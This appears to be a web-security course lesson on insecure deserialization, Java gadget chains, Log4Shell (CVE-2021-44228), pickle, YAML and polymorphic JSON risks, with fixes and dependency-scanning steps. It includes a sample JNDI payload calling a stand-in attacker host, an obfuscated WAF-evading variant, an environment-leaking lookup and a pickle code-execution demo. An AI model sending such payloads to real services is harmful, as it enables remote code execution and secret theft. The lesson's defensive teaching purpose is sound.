L36 · Insecure deserialization and Log4Shell

Module 5: Web Application Security · ~20 min · Lesson 36 of 71

🎯 What you'll learn

• Why turning untrusted bytes back into objects can run code, and which formats allow it
• How a gadget chain builds an exploit out of classes that were already on your classpath
• How Log4Shell (CVE-2021-44228) turned one logged string into remote code execution
• What actually fixes both: data-only formats, allow-list filters, patched versions and egress control

🔥 Why this matters

On 9 December 2021, exploit details went public for a bug in log4j 2, the logging library inside a huge share of Java applications. Any string a service logged, such as a User-Agent header, a username on a failed login or a search term, could make the JVM fetch and run an attacker's code. Teams spent that weekend, and three follow-up CVEs, finding every copy. L02 read its CVSS 10.0 vector; today is how it works, and why it's a cousin of an older bug class.

1. Serialization: objects to bytes and back

Say an account service caches a UserSession object in Redis. To store or send an object, you convert it to bytes: serialization. Turning the bytes back into objects is deserialization.

Formats fall into two families, and the difference is who chooses the type:

 DATA-ONLY FORMATS                NATIVE OBJECT FORMATS
 JSON, BSON, protobuf             Java serialization, Python
                                  pickle, .NET BinaryFormatter
 bytes: {"theme":"dark"}          bytes: "build an object of
                                  class X, set its fields,
                                  run its restore hook"
 YOUR code picks the type:
 readValue(b, Prefs.class)        THE BYTES pick the type
        │                                │
        ▼                                ▼
 only maps, lists, strings,       any class on the classpath,
 numbers, or the class you        and its code runs during
 named                            loading

Insecure deserialization means feeding untrusted bytes to a deserializer that lets the bytes choose the types. OWASP files it under A08, software and data integrity failures (CWE-502, L29).

2. Gadget chains: an exploit made of your own code

Think of a ransom note cut from magazine letters. The writer brings no new letters; they rearrange ones that already exist.

Java's ObjectInputStream.readObject() can't load new code from the bytes. But while rebuilding objects, it calls methods on them: each class's own readObject(), and indirectly hashCode(), equals() or compareTo() when it rebuilds a HashMap or a sorted set. A gadget is a method like that with a useful side effect. A gadget chain links gadgets so that rebuilding the first object ends in something dangerous, such as running a command.

The best-known chains use Apache Commons Collections. This is the shape of one of them (ysoserial's CommonsCollections6):

 untrusted bytes
   │ 1. ObjectInputStream.readObject() rebuilds a HashMap
   ▼
 HashMap.readObject()
   │ 2. re-hashes each key: key.hashCode()
   ▼
 TiedMapEntry.hashCode()       ← attacker chose this key class
   │ 3. getValue() → map.get(key)
   ▼
 LazyMap.get()
   │ 4. missing key → factory.transform(key)
   ▼
 ChainedTransformer / InvokerTransformer
   │ 5. calls any method by name, via reflection
   ▼
 Runtime.getRuntime().exec(...)   → code execution

Three lessons hide in that picture. The vulnerable line is yours (the readObject() call); the gadgets can sit in any library on the classpath, so "we never import Commons Collections" doesn't help. Casting the result to UserPrefs happens after the chain has run. And patching one library (Commons Collections 3.2.2 disabled InvokerTransformer deserialization in 2015) removes one chain, not the bug class: the open-source tool ysoserial collects dozens.

Chris Frohoff and Gabriel Lawrence presented this at AppSecCali in January 2015; that November, FoxGlove Security exploited WebLogic, WebSphere, JBoss and Jenkins with it.

3. Log4Shell: when a log line became a lookup

Log4j 2 has lookups: ${...} expressions it expands while formatting a log event, such as ${java:version} or ${env:HOME}. Up to 2.14.1, it also expanded lookups found inside the logged message itself. One lookup type was JNDI (Java Naming and Directory Interface), an API for fetching objects from directory services such as LDAP and RMI.

So if your code logs a header and the header is ${jndi:ldap://attacker.example/a}:

 attacker        account-svc (log4j-core 2.14.1)   attacker.example
    │                       │                             │
    │ 1. GET /v1/accounts   │                             │
    │  User-Agent: ${jndi:  │                             │
    │  ldap://attacker.     │                             │
    │  example/a}           │                             │
    │──────────────────────▶│                             │
    │                       │ 2. log.info("UA {}", ua)    │
    │                       │    → expands ${jndi:...}    │
    │                       │ 3. LDAP lookup "a"          │
    │                       │────────────────────────────▶│
    │                       │ 4. reply: a reference to    │
    │                       │    remote code, or a        │
    │                       │    serialized object        │
    │                       │◀────────────────────────────│
    │                       │ 5. loads it → code runs     │

On older JDKs (before 8u191 or 11.0.1), step 4 could point to a class file that the JVM downloaded and ran. Newer JDKs refuse remote class loading by default, but attackers simply returned a serialized object instead, which the JVM deserialized locally: section 2's gadget chains again. A newer JDK raised the bar; it wasn't the fix. Even with no code execution, a nested lookup such as ${env:...} inside the host name leaks environment variables through the DNS query alone.

Kong (Lua and nginx) wasn't affected, but a Java service behind it that logged a forwarded header was. Payloads could also wait in a database and fire when a batch job logged them days later. Obfuscated forms like ${${lower:j}ndi:...} slipped past WAF rules (L12).

What was affected: log4j-core 2.0-beta9 through 2.14.1. The log4j-api jar alone, Logback (Spring Boot's default) and log4j 1.x were not affected by this CVE, though 1.x has been end of life since 2015 and has deserialization CVEs of its own.

The minimum safe versions became 2.17.1 for Java 8 and later, 2.12.4 for Java 7 and 2.3.2 for Java 6. Today, use a current 2.x release.

4. Defenses that work

• Don't deserialize untrusted data with a native format. Use JSON or protobuf into a specific class you name. Better still, keep state server-side and send only an ID.
• If legacy code must use Java serialization, allow-list classes with a serialization filter (ObjectInputFilter, JEP 290: Java 9, backported to 8u121). Java 17 added per-stream filter factories (JEP 415).
• Sign blobs that travel through clients with an HMAC (L17), so they can't be forged. A leaked key then becomes code execution, so this is a backstop, not a substitute.
• Patch and inventory dependencies. You can't patch what you can't find (Going deeper 1, L55).
• Limit egress (L12). Most Log4Shell exploits needed the server to call out; blocked egress broke step 3.

🧪 Worked example: a preferences cookie, vulnerable vs fixed

Before. A dashboard keeps user preferences in a cookie as a serialized Java object:

@GetMapping("/v1/dashboard")
Dashboard dashboard(@CookieValue("prefs") String prefs)
        throws Exception {
    byte[] raw = Base64.getDecoder().decode(prefs); // "rO0AB..."
    try (var in = new ObjectInputStream(
            new ByteArrayInputStream(raw))) {
        UserPrefs p = (UserPrefs) in.readObject(); // chain runs
        return dashboards.build(p);                // before cast
    }
}

After. The cookie carries plain JSON, mapped into one record with checked values:

record UserPrefs(String theme, int pageSize) {}

@GetMapping("/v1/dashboard")
Dashboard dashboard(@CookieValue("prefs") String prefs)
        throws IOException {
    byte[] raw = Base64.getUrlDecoder().decode(prefs);
    UserPrefs p = mapper.readValue(raw, UserPrefs.class);
    if (!Set.of("light", "dark").contains(p.theme())
            || p.pageSize() < 10 || p.pageSize() > 100)
        throw new BadRequestException("invalid prefs");
    return dashboards.build(p);
}

If you can't remove ObjectInputStream yet, filter it before reading:

in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
    "maxdepth=3;maxbytes=4096;"
    + "com.example.prefs.UserPrefs;java.lang.String;!*"));

!* rejects every class not named before it, so a HashMap carrying a gadget chain fails immediately.

And the Log4j side: a transitive dependency you never chose.

$ mvn dependency:tree -Dincludes=org.apache.logging.log4j
[INFO] com.example:account-svc:jar:1.8.0
[INFO] \- com.example.lib:audit-client:jar:2.3.1:compile
[INFO]    \- org.apache.logging.log4j:log4j-core:jar:2.14.1:compile

Pin it for the whole build with the Log4j BOM in <dependencyManagement> (2.24.3 is just an example; use your team's current approved 2.x):

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-bom</artifactId>
  <version>2.24.3</version>
  <type>pom</type>
  <scope>import</scope>
</dependency>

🛠 Try it (optional, ~5 min)

Both steps only read files on your laptop (macOS or Linux).

1. Recognize a serialized Java object. This one holds the string hello:

$ echo -n 'rO0ABXQABWhlbGxv' | base64 -d | xxd
00000000: aced 0005 7400 0568 656c 6c6f       ....t..hello

AC ED 00 05 is the Java serialization header, which is rO0AB in base64. If you ever see rO0AB in a cookie, header or queue message, someone is deserializing it.

2. List the log4j-core versions in your local Maven cache:

find ~/.m2/repository -name 'log4j-core-*.jar' 2>/dev/null \
  | sed 's|.*/log4j-core-||' | sort -V

Anything from 2.0-beta9 to 2.14.1 is Log4Shell-vulnerable, and anything below 2.17.1 (Java 8) has at least one of the follow-up CVEs. A cached jar isn't necessarily in a build; confirm with mvn dependency:tree.

🧠 Key takeaways

• Native object formats let the bytes choose the class, and loading runs that class's code.
• Gadget chains reuse code already on your classpath, so removing one library doesn't fix the bug.
• Log4Shell was "data treated as instructions": a logged string triggered a JNDI lookup.
• Use data-only formats into named types; allow-list classes if legacy code must deserialize.
• Patch fast, know where every copy lives, and block egress so the second stage can't load.

📖 Words to know

⏭ Next time

L37: the HTTP headers that tell browsers how to protect your users (HSTS, CSP and friends), and what CORS really does, and doesn't, protect.

In December 2021 most teams could patch in an hour. Finding everything to patch took weeks. A dependency can hide in four places a simple search misses, and the same playbook applies to the next big library CVE.

Where a library hides

 container image
 └─ /app/account-svc.jar          ← Spring Boot fat jar
    ├─ BOOT-INF/classes/...         your code
    └─ BOOT-INF/lib/
       ├─ log4j-core-2.14.1.jar   ← (1) nested jar: no file on disk
       └─ audit-client-2.3.1.jar
          └─ com/example/shaded/log4j/core/lookup/
             JndiLookup.class     ← (2) shaded: renamed package,
                                        no log4j jar at all
 └─ /opt/vendor-agent/lib/        ← (3) a vendor tool in the image
 base image layers                ← (4) something the base image
                                        team installed

1. Nested jars. A Spring Boot fat jar contains other jars, so find -name 'log4j-core*' on the filesystem finds nothing.
2. Shading. Some libraries copy a dependency's classes into their own jar under a new package name, to avoid version clashes. There's no log4j-core jar and no Maven coordinate. You find it by searching for the class itself, JndiLookup.class.
3. Vendor software bundled in the image: agents, drivers, admin tools.
4. Base images that another team maintains.

Scanning images, not repositories

The reliable answer is to scan what actually runs. SBOM tools such as Syft, and scanners such as Trivy and Grype, unpack images and look inside nested jars. Start from the cluster, because a repo can be patched while an old image still runs:

# which images are running right now? (a dev cluster you can read)
JP='{range .items[*]}{.spec.containers[*].image}{"\n"}{end}'
kubectl get pods -A -o jsonpath="$JP" \
  | tr ' ' '\n' | sort -u > running-images.txt

Then scan each image (made-up output):

$ trivy image --scanners vuln registry.example.com/account-svc:1.8.0
Java (jar)
┌─────────────────────────────┬────────────────┬──────────┬─────────┐
│ Library                     │ Vulnerability  │ Severity │ Fixed   │
├─────────────────────────────┼────────────────┼──────────┼─────────┤
│ org.apache.logging.log4j:   │ CVE-2021-44228 │ CRITICAL │ 2.15.0  │
│ log4j-core (2.14.1)         │ CVE-2021-45046 │ CRITICAL │ 2.16.0  │
│                             │ CVE-2021-45105 │ MEDIUM   │ 2.17.0  │
│                             │ CVE-2021-44832 │ MEDIUM   │ 2.17.1  │
└─────────────────────────────┴────────────────┴──────────┴─────────┘

Notice the "Fixed" column lists the first fix for each CVE. You need the highest one: upgrading to 2.15.0 because the top row says so would leave three open. Scanners identify shaded copies less reliably, so for a crisis-level CVE, also search inside the jars for the class name:

# list classes in a jar whose path matches the name
unzip -l account-svc.jar | grep -i 'JndiLookup'

For nested jars, extract BOOT-INF/lib/ to a temporary folder and run the same unzip -l on each jar inside, or let the scanner do it.

Making next time faster

Generate an SBOM for every image at build time and store it with the image (L55). When the next CVE lands, "which running images contain library X at version Y?" becomes a query over SBOMs you already have, not a weekend of unzip. Pair it with the risk triage from L02 (EPSS, CISA KEV, exposure) to decide what gets patched first.

🧠 Extra takeaways

• Fat jars, shading, vendor tools and base images all hide dependencies from a filename search.
• Scan running images, not only repositories; old images keep running after the repo is fixed.
• For a library CVE chain, upgrade to the version that fixes all of them, not the first fix.
• An SBOM per image turns "are we affected?" from days into minutes.

The same bug shows up wherever data can name a type to construct. Three you'll meet in a Python and Java shop:

Python pickle: code execution by design

Pickle stores, for each object, a recipe for rebuilding it, and the recipe can be "call this function with these arguments" (an object's __reduce__ method). The Python docs say plainly: never unpickle data from an untrusted source. A harmless demonstration (it calls print, nothing else):

import base64, pickle

class Prefs:
    def __reduce__(self):
        # "to rebuild me, call print(...)"
        return (print, ("!! code ran inside pickle.loads",))

blob = pickle.dumps(Prefs())
print("stored:", base64.b64encode(blob).decode()[:16], "...")
print("loading...")
obj = pickle.loads(blob)
print("loads returned:", obj)

Real output (Python 3.15 on macOS; the base64 prefix changes with the pickle protocol, gASV for protocol 4, gAWV for 5):

stored: gAWVPAAAAAAAAACM ...
loading...
!! code ran inside pickle.loads
loads returned: None

The function ran during loads, before your code got anything back. Swap print for os.system and it's remote code execution. Where pickle hides in a data stack:

• Airflow XComs. [core] enable_xcom_pickling has been off by default since Airflow 2.0, so XComs use JSON. Keep it off; anyone who can write an XCom (any task) could otherwise run code in every task that reads it.
• Model files. .pkl, joblib and older PyTorch checkpoints are pickles. Recent PyTorch (2.6 and later) loads with weights_only=True by default; older versions don't.
• Caches. Pickled objects in Redis are only as safe as everyone who can write to Redis.

YAML: tags that construct objects

YAML has tags such as !!python/object/apply: that construct objects. In PyYAML, yaml.safe_load builds only plain types; yaml.load with the Loader or UnsafeLoader builds anything (PyYAML 6.0 made the Loader argument required, so you must now choose). In Java, SnakeYAML's default constructor allowed arbitrary types (CVE-2022-1471); SnakeYAML 2.0 restricted them by default. Your application.yml is trusted config; YAML uploaded by a user is not.

Polymorphic JSON: the Java bug wearing a JSON costume

JSON is data-only until you let it name classes. With Jackson, these let the payload choose the type:

mapper.activateDefaultTyping(ptv);         // global, risky
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) // "@class" in payload

{"payment": ["com.vendor.SomeGadgetClass", {"url": "ldap://..."}]}

Between 2017 and 2020 Jackson shipped dozens of CVEs, each adding another gadget class to a blocklist, the same losing game as SSRF blocklists (L35). The safe pattern names the allowed subtypes yourself:

@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = "type")
@JsonSubTypes({
    @JsonSubTypes.Type(value = CardPayment.class, name = "card"),
    @JsonSubTypes.Type(value = AchPayment.class,  name = "ach")})
sealed interface Payment permits CardPayment, AchPayment {}

Now {"type": "card", ...} can only ever become one of two classes you wrote. The older enableDefaultTyping() was deprecated in Jackson 2.10 for this reason; its replacement requires a PolymorphicTypeValidator, which is effectively an allow-list.

🧠 Extra takeaways

• Any format where the data names a type to construct is a deserialization risk: pickle, YAML tags, typed JSON.
• pickle.loads runs code by design; never use it on data another party can write, including XComs and model files.
• Use yaml.safe_load in Python and SnakeYAML 2.x in Java for anything not fully trusted.
• With Jackson, use logical type names and an explicit subtype list, never class names from the payload.